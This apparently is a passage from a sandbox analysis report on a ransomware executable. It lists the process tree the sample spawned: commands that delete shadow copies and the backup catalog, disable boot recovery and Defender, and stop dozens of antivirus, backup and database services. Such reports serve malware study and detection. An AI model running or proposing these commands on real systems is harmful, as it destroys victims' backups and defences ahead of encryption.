PID 800 wrote to memory of 2972	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	57
PID 800 wrote to memory of 860	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	58
PID 800 wrote to memory of 860	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	58
PID 800 wrote to memory of 860	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	58
PID 800 wrote to memory of 860	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	58

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
"C:\Users\Admin\AppData\Local\Temp\8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Drops startup file
- Loads dropped DLL
- Windows security modification
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C sc delete VSS
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\SysWOW64\sc.exe
    sc delete VSS
    3⤵
    - Launches sc.exe
    PID:2624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
  2⤵
  PID:2656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1392
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
  2⤵
  PID:1652
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:108
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:844
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1728
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:2676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:3040
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:2724
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:1236
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:464
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:3056
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:2616
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:2328
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:2896
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2972
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2232
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:860
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:1808
- C:\Windows\SysWOW64\net.exe
  "net.exe" top SavRoam /y
  2⤵
  PID:2100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 top SavRoam /y
    3⤵
    PID:2856
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2444
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:1512
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2396
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2628
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:1804
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2264
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:1944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:1956
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:1916
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:2148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:316
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:732
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:3048
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2052
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:1428
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:1608
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2216
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:2872
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2564
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:1520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2464
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:1080
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2104
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2472
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1776
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:1676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:1364
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3044
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:636
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2772
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:1616
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:2912
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1748
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2888
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:328
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:2300
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:2556
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:2748
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1636
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:2620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:284
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:384
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2132
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2332
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:656
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:2424
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2804
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:2208
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:1600
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:2652
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop -n apache24
  2⤵
  PID:1736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop -n apache24
    3⤵
    PID:2840
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mysql57
  2⤵
  PID:2692
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mysql57
    3⤵
    PID:2980
- C:\Windows\SysWOW64\net.exe
  "net.exe" wrapper
  2⤵
  PID:2812
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 wrapper
    3⤵
    PID:816
- C:\Windows\SysWOW64\net.exe
  "net.exe" DefWatch
  2⤵
  PID:3060
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 DefWatch
    3⤵
    PID:2136
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1184
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2372
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:1524
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:2440
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:1048
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:3008
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Sqlservr /y
  2⤵
  PID:1624
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sqlservr /y
    3⤵
    PID:1956
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqlagent /y
  2⤵
  PID:1068
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqlagent /y
    3⤵
    PID:480
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqladhlp /y
  2⤵
  PID:992
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqladhlp /y
    3⤵
    PID:2416
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Culserver /y
  2⤵
  PID:2700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Culserver /y
    3⤵
    PID:1328
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:1716
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:972
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqlbrowser /y
  2⤵
  PID:3052
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqlbrowser /y
    3⤵
    PID:272
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QLADHLP /y
  2⤵
  PID:680
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QLADHLP /y
    3⤵
    PID:732
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2300
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit /y
  2⤵
  PID:1348
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit /y
    3⤵
    PID:1696
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QuickBooks /y
  2⤵
  PID:2748
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QuickBooks /y
    3⤵
    PID:2988
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop FCS /y
  2⤵
  PID:2460
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop FCS /y
    3⤵
    PID:2452
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:2912
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop msmdsrv /y
  2⤵
  PID:1568
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msmdsrv /y
    3⤵
    PID:2572
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop tomcat6 /y
  2⤵
  PID:2164
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop tomcat6 /y
    3⤵
    PID:2688
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:1996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2492
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vmware /y
  2⤵
  PID:2116
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vmware /y
    3⤵
    PID:2340
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vmware-converter /y
  2⤵
  PID:1028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vmware-converter /y
    3⤵
    PID:2676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop dbsrv12 /y
  2⤵
  PID:2504
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop dbsrv12 /y
    3⤵
    PID:1148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop dbeng8 /y
  2⤵
  PID:1424
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop dbeng8 /y
    3⤵
    PID:1768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT /y
  2⤵
  PID:864
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
    3⤵
    PID:1860
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ##WID /y
  2⤵
  PID:1340
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ##WID /y
    3⤵
    PID:2620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2012 /y
  2⤵
  PID:1332
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
    3⤵
    PID:2900
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  2⤵
  PID:1968
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
    3⤵
    PID:3064
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLBrowser /y
  2⤵
  PID:2508
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLBrowser /y
    3⤵
    PID:1688
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLWriter /y
  2⤵
  PID:2644
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLWriter /y
    3⤵
    PID:728
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop FishbowlMySQL /y
  2⤵
  PID:656
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop FishbowlMySQL /y
    3⤵
    PID:2052
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT /y
  2⤵
  PID:1308
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
    3⤵
    PID:2220
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MySQL57 /y
  2⤵
  PID:2920
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MySQL57 /y
    3⤵
    PID:1004
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$KAV_CS_ADMIN_KIT /y
  2⤵
  PID:792
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$KAV_CS_ADMIN_KIT /y
    3⤵
    PID:2496
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQLServerADHelper100 /y
  2⤵
  PID:1592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3⤵
    PID:2108
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$KAV_CS_ADMIN_KIT /y
  2⤵
  PID:2424
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$KAV_CS_ADMIN_KIT /y
    3⤵
    PID:3008
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop msftesql /y
  2⤵
  PID:1292
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msftesql /y
    3⤵
    PID:976
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Exchange /y
  2⤵
  PID:2824
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Exchange /y
    3⤵
    PID:276
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT##SSEE /y
  2⤵
  PID:3016
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT##SSEE /y
    3⤵
    PID:960
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /y
  2⤵
  PID:2840
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
    3⤵
    PID:1676
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$SHAREPOINT /y
  2⤵
  PID:2884
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
    3⤵
    PID:1864
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2⤵
  PID:1328
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
    3⤵
    PID:272
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SBSMONITORING /y
  2⤵
  PID:1100
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
    3⤵
    PID:2996
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:1044
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:960
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2696
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:972
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBVSS /y
  2⤵
  PID:2112
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBVSS /y
    3⤵
    PID:3284
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1272
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:1908
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:1588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2916
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vss /y
  2⤵
  PID:1580
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vss /y
    3⤵
    PID:2416
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sql /y
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sql /y
    3⤵
    PID:2044
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop svc$ /y
  2⤵
  PID:2792
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop svc$ /y
    3⤵
    PID:3268
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL /y
  2⤵
  PID:1560
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL /y
    3⤵
    PID:2784
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$ /y
  2⤵
  PID:1724
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$ /y
    3⤵
    PID:3304
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop memtas /y
  2⤵
  PID:2452
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop memtas /y
    3⤵
    PID:3248
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mepocs /y
  2⤵
  PID:1076
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mepocs /y
    3⤵
    PID:3312
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2600
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:3328
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:676
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:1436
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop backup /y
  2⤵
  PID:916
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop backup /y
    3⤵
    PID:3416
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop bedbg /y
  2⤵
  PID:2572
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop bedbg /y
    3⤵
    PID:2588
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2636
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3320
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:1868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2464
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2628
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:3408
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:3352
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:1764
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:532
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1520
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:3432
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2568
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:1084
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:1768
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:3384
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MVArmor /y
  2⤵
  PID:1812
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MVArmor /y
    3⤵
    PID:1832
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MVarmor64 /y
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MVarmor64 /y
    3⤵
    PID:3236
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:2640
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:464
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:3368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2492
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:3376
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2772
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:3400
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:1940
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2184
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2264
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:3336
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ARSM /y
  2⤵
  PID:816
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ARSM /y
    3⤵
    PID:3296
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2476
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:3344
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1848
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:1564
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2440
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:3392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop WSBExchange /y
  2⤵
  PID:1936
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop WSBExchange /y
    3⤵
    PID:3068
- C:\Windows\SysWOW64\net.exe
